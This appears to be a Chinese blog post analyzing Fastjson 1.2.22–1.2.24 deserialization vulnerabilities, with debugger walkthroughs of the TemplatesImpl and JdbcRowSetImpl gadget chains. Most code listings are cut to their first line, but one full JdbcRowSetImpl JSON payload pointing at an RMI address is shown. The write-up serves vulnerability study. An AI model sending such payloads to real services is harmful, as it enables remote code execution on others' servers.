Fastjson概述
Fastjson是阿里巴巴的开源库,用于对JSON格式的数据进行解析,能够快速序列化和反序列化。
一共有两条利用链:
1 | TemplatesImpl |
漏洞版本:fastjson 1.2.22-1.2.24
pom.xml
1 | <dependency> |
Fastjson序列化
测试代码:
1 | package Test; |
将对象标准序列化成JSON代码,并发现调用了set和get函数
下面来看Fastjson自省模式下的序列化
在JSON.toJSONString()
中多传入了一个SerializerFeature.WriteClassName
,可以使Fastjson本身支持自省,生成的json序列化多了一个@type
字段,它代表着对象类型。Fastjson的漏洞就是跟@Type有很大关系,让指定的类在反序列化时候去调用相应的get/set/is方法。
在JavaBeanInfo#build
中存在获取get/set方法名的一些满足条件(后面会分析到)
1 | set: |
Fastjson反序列化
Fastjson反序列化有两种方法:JSON.parseObject()
和 JSON.parse()
两种方法的返回对象有所不同。
parseObject 返回Fastjson.JSONObject类
parse 返回传入的类
如果在parseObject()传入指定类的话,那二者的返回类便是一样的
JSON.parseObject的底层调用的还是JSON.parse方法,只是在JSON.parse的基础上做了一个封装。
在序列化时,FastJson会调用成员对应的get方法,被private修饰且没有get方法的成员不会被序列化,而反序列化的时候在,会调用了指定类的全部的setter,publibc修饰的成员全部赋值
@type
上面提到过,Fastjson Autotype在处理json对象时如果未经安全处理,可以用@type指定类,在反序列化时候就会自动调用其set/get方法。
在构造的恶意类的set方法中添加命令执行
本地生成JSON序列化时会调用set执行命令,但这只是攻击者的本地。
下面我们用springboot起一个web服务,假设其中用parseObject()
对传入的数据进行了Fastjson反序列化操作
然后我们在直接用@type直接指定这个恶意的类,可以看见直接触发了set方法并执行了命令。
Fastjson TemplatesImpl链
TemplatesImpl相当于JNDI利用有更多局限。
服务后端的JSON解析要为
1 | parseObject(input,Object.class,Feature.SupportNonPublicField) |
验证漏洞:
1 | package Test; |
完整POC:
1 | package Test; |
前半段javassist
生成字节码和TemplatesImpl链
在CommonCollection-2中分析过,这里不再详细分析。
先解决几个疑问
1.为什么_bytecodes要Base64编码?
在 com/alibaba/fastjson/serializer/ObjectArrayCodec#deserialze()
处调用了bytesValue()
在其中便进行了base64解码操作
2._tfactory和_name为什么这样赋值?
在Common Collection2调过利用链,让他们非空是为了让链满足条件,继续运行下去。
3.为什么反序列化时候要加Feature.SupportNonPublicField?
开头说过这个字段是为了反序列化private属性的成员,而TemplatesImpl传入的成员就有private
4.这个 _outputProperties 加进来是干嘛的?
这是漏洞利用的关键参数。因为Fastjson反序列化时候会调用getOutputProperties()方法
利用链分析
主函数parseObject下断点
传入字段分别是json数据,Object.class和Feature参数
进入JSON#parseObject()
进入DefaultJSONParse
方法
获取当前第一个字符,进入第一个if,将12赋值给lexer.token
再次回到JSON.class,parseObject
来解析传入的类
刚才已经知道了lexer.token为12,所以直接调用getDeserializer
这里根据我们传入的Type来寻找对应的反序列化器。
在第一个if就直接return了
返回到 DefaultJSONParser#parseObject()
利用刚才返回的反序列化器对JSON进行反序列化
进入到deserialize
,在最后进行了parse
方法调用
跟进到parse()
switch进入12分支
{ 下一个为 “所以进入该分支
继续往下走,看到另外一个If
我们的key是 @type
,并且相应Feature配置没开启,所以满足条件
利用loadClass
加载我们的类
依然是获取反序列化器,这里的对象是TemplatesImpl
。
先进入getDeserializer()
因为TemplatesImpl
找不到反序列化器,所以为Null所以进入第二个分支
到达ParserConing#getDeserializer()
getName()
获取了类名
有个简单的黑名单,太简单了没啥用
往下走,来到createJavaBeanDeserializer()
调用build
方法
buidl会通过反射获取类的信息,并存放下来。上面也说过这里会对set和get方法名进行一系列判断。
注意在get的查找方法中,会遍历类的所有方法
而TemplatesImpl#getOutputProperties()
方法正好满足这些条件
保存添加这些数据并返回
回到DefaultJSONParser
进入JavaBeanDeserializer#derialize()
token等于16,所以跳过很多if
这里循环赋值一些field属性,内容就是之前build时候实例化时候构造的.
第一个就获取到了outputProperties
往下走到parseField()
解析参数
对参数key进行smartMatch()智能模糊匹配
smartMatch()
先是取反序列化器(null),再判断是否is开头,然后从sortedFieldDeserializers
赋值变量。
重点这里将key的 _ 和 - 给去除了,那么_outputProperties
就变成outputProperties
了
调用getFieldDeserializer
方法
在sortedFieldDeserializers
中找到包含getOutputProperties
那组并返回
返回到parseField
方法,在最后调用了DefaultFieldDeserializer#parseField
在DefaultFieldDeserializer#parseField
中对属性进行反序列化,并返回给value
可以看到在setValue()
中,经过取method属性后,method
已经被赋值为getOutputProperties
然后在下面直接通过invoke
反射触发了该函数,从而调动了TemplatesImpl
链
接下来就是TemplatesImpl内部链的调用过程了,不详细分析了
Fastjson JdbcRowSetImpl链
接着上面的TemplatesImpl
链,这里分析JdbcRowSetImpl
链。
前者的局限性较大,需要按照特定的格式传入特定的参数,后者所受限制就小了很多,只需要Json.parse(input)
即可触发漏洞。
(各方法JDK版本要求)
JDNI注入攻击流程:
1 | 客户端lookup的url可控 |
详情分析请看JNDI注入
JdbcRowSetImpl链 影响版本 fastjson<=1.2.24
RMIServer:
1 | package Test; |
evil.java:
(编译后放在请求目录下)
1 | import javax.naming.Context; |
攻击者:
1 | package Test; |
1 | {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1/Teabo", "autoCommit":true} |
利用链分析
JSON.parse()下断点
中间的Fastjson链分析同上面TemplatesImpl
的分析过程,所以这里我们直接在DefaultFieldDeserializer#parseField
下断点
在setValue()
里同样有invoke
反射执行的操作
首先是反射执行setDataSourceName
方法
该方法对dataSource
赋值为我们的rmi地址
再次回到setValue()
方法,这次反射调用的是JdbcRowSetImpl#setAutoCommit
调用了connect()
这里直接就调用了lookup()
,并且其中的URL正是刚才通过setDataSourceName
赋值的RMI服务地址,造成了JNDI注入
。(lookup之后发生了什么,详情请看JNDI注入)
参考文章
https://www.cnblogs.com/nice0e3/p/14601670.html
https://www.freebuf.com/vuls/178012.html
https://mp.weixin.qq.com/s/30F7FomHiTnak_qe8mslIQ